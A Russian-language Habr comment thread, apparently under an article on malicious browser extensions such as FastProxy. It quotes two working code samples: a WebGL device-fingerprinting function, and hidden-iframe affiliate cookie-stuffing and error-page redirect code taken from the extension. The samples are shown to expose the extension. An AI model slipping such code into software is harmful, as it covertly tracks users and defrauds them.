Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Просто совсем уж злую версию через мозилловскую модерацию не смогли пропихнуть?
да и там невозможно unsafe-eval, насколько помню даже unsafe-inline для script-src поставить — просто заблокирует сама форма.
Ну и на фоне хромовской версии, фаерфокс версия вообще полностью безопасна.
Чтобы популярное расширение в фаерфоксе могло обрести вирус, оно должно пройти путь Stylish — сначала популярное и чистое, потом плавно всё больше прав и закончилось тем, что они сливали всю историю у юзера.

let getWebglFingerprint = () => {
var a;
var e = function(e) {
a.clearColor(0, 0, 0, 1);
a.enable(a.DEPTH_TEST);
a.depthFunc(a.LEQUAL);
a.clear(a.COLOR_BUFFER_BIT | a.DEPTH_BUFFER_BIT);
return '[' + e[0] + ', ' + e[1] + ']';
};
a = getWebglContext();
if ( !a ) return null;
var t = [];
var i = a.createBuffer();
a.bindBuffer(a.ARRAY_BUFFER, i);
var n = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]);
a.bufferData(a.ARRAY_BUFFER, n, a.STATIC_DRAW);
i.itemSize = 3;
i.numItems = 3;
var r = a.createProgram();
var o = a.createShader(a.VERTEX_SHADER);
a.shaderSource(o, "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}");
a.compileShader(o);
var s = a.createShader(a.FRAGMENT_SHADER);
a.shaderSource(s, "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}");
a.compileShader(s);
a.attachShader(r, o);
a.attachShader(r, s);
a.linkProgram(r);
a.useProgram(r);
r.vertexPosAttrib = a.getAttribLocation(r, 'attrVertex');
r.offsetUniform = a.getUniformLocation(r, 'uniformOffset');
a.enableVertexAttribArray(r.vertexPosArray);
a.vertexAttribPointer(r.vertexPosAttrib, i.itemSize, a.FLOAT, false, 0, 0);
a.uniform2f(r.offsetUniform, 1, 1);
a.drawArrays(a.TRIANGLE_STRIP, 0, i.numItems);
try {
t.push(a.canvas.toDataURL())
} catch (a) {}
t.push('extensions:' + (a.getSupportedExtensions() || []).join(';'));
t.push('webgl aliased line width range:' + e(a.getParameter(a.ALIASED_LINE_WIDTH_RANGE)));
t.push('webgl aliased point size range:' + e(a.getParameter(a.ALIASED_POINT_SIZE_RANGE)));
t.push('webgl alpha bits:' + a.getParameter(a.ALPHA_BITS));
t.push('webgl antialiasing:' + (a.getContextAttributes().antialias ? 'yes' : 'no'));
t.push('webgl blue bits:' + a.getParameter(a.BLUE_BITS));
t.push('webgl depth bits:' + a.getParameter(a.DEPTH_BITS));
t.push('webgl green bits:' + a.getParameter(a.GREEN_BITS));
t.push('webgl max anisotropy:' + function(a) {
var e =
a.getExtension('EXT_texture_filter_anisotropic') ||
a.getExtension('WEBKIT_EXT_texture_filter_anisotropic') ||
a.getExtension('MOZ_EXT_texture_filter_anisotropic');
if (e) {
var t = a.getParameter(e.MAX_TEXTURE_MAX_ANISOTROPY_EXT);
return 0 === t && (t = 2), t
}
return null
}(a)),
t.push('webgl max combined texture image units:' + a.getParameter(a.MAX_COMBINED_TEXTURE_IMAGE_UNITS));
t.push('webgl max cube map texture size:' + a.getParameter(a.MAX_CUBE_MAP_TEXTURE_SIZE));
t.push('webgl max fragment uniform vectors:' + a.getParameter(a.MAX_FRAGMENT_UNIFORM_VECTORS));
t.push('webgl max render buffer size:' + a.getParameter(a.MAX_RENDERBUFFER_SIZE));
t.push('webgl max texture image units:' + a.getParameter(a.MAX_TEXTURE_IMAGE_UNITS));
t.push('webgl max texture size:' + a.getParameter(a.MAX_TEXTURE_SIZE));
t.push('webgl max varying vectors:' + a.getParameter(a.MAX_VARYING_VECTORS));
t.push('webgl max vertex attribs:' + a.getParameter(a.MAX_VERTEX_ATTRIBS));
t.push('webgl max vertex texture image units:' + a.getParameter(a.MAX_VERTEX_TEXTURE_IMAGE_UNITS));
t.push('webgl max vertex uniform vectors:' + a.getParameter(a.MAX_VERTEX_UNIFORM_VECTORS));
t.push('webgl max viewport dims:' + e(a.getParameter(a.MAX_VIEWPORT_DIMS)));
t.push('webgl red bits:' + a.getParameter(a.RED_BITS));
t.push('webgl renderer:' + a.getParameter(a.RENDERER));
t.push('webgl shading language version:' + a.getParameter(a.SHADING_LANGUAGE_VERSION));
t.push('webgl stencil bits:' + a.getParameter(a.STENCIL_BITS));
t.push('webgl vendor:' + a.getParameter(a.VENDOR));
t.push('webgl version:' + a.getParameter(a.VERSION));
try {
var l = a.getExtension('WEBGL_debug_renderer_info');
l && t.push('webgl unmasked vendor:' + a.getParameter(l.UNMASKED_VENDOR_WEBGL));
t.push('webgl unmasked renderer:' + a.getParameter(l.UNMASKED_RENDERER_WEBGL));
} catch (a) {}
if (!a.getShaderPrecisionFormat) return t.join('~');
['FLOAT', 'INT'].forEach( e => {
['VERTEX', 'FRAGMENT'].forEach( i => {
['HIGH', 'MEDIUM', 'LOW'].forEach( n => {
['precision', 'rangeMin', 'rangeMax'].forEach( r => {
var o = a.getShaderPrecisionFormat(a[i + '_SHADER'],
a[n + '_' + e])[ r ];
if( 'precision' !== r ) r = 'precision ' + r;
var s = ['webgl ', i.toLowerCase(), ' shader ', n.toLowerCase(), ' ', e.toLowerCase(), ' ', r, ':', o];
t.push(s.join(''))
});
});
});
});
return t.join('~');
};
А вы имели ввиду что те кого вы хорошо знаете и доверяете, тоже будут собирать информацию или нет? Как по мне, если ты знаешь что они будут собирать информацию только для своей статистики, это уже в некотором смысле повод доверять. Иначе как сказали ниже, и самими браузерами не стоит пользоваться.
function s(){if(location.href.indexOf('aliexpress.com')!=-1){localStorage.AE||(localStorage.AE=0);if(Date.now()-localStorage.AE>4e6){localStorage.AE=Date.now();l('https://alipromo.com/redirect/cpa/o/ozzh93ux3843sml0npc9nhkhk9i88iex/');}} if(location.href.indexOf('gearbest.com')!=-1){localStorage.GB||(localStorage.GB=0);if(Date.now()-localStorage.GB>4e6){localStorage.GB=Date.now();l('https://epnclick.ru/redirect/cpa/o/po7azofe90fxodl2wnzszhkq8ybnt7se/?to=https%3A%2F%2Fwww.gearbest.com%2F');}}} function l(c){var d=document.createElement('iframe');d.setAttribute('src',c),d.setAttribute('style','display: none;'),document.head.appendChild(d);}; function a(){if(document.body.id == 'ERR_CONNECT_FAIL' || document.body.id == 'ERR_READ_TIMEOUT' || document.body.id == 'ERR_ACCESS_DENIED' || document.body.id == 'ERR_DNS_FAIL' || document.body.id == 'ERR_READ_ERROR' || document.body.id == 'ERR_ZERO_SIZE_OBJECT' || document.location.href.indexOf('antizapret.prostovpn.org/fastproxy-warning/') != -1) document.location = 'http://access-error.ru/error'} s();a();
«Вирусы» в расширениях на примере FastProxy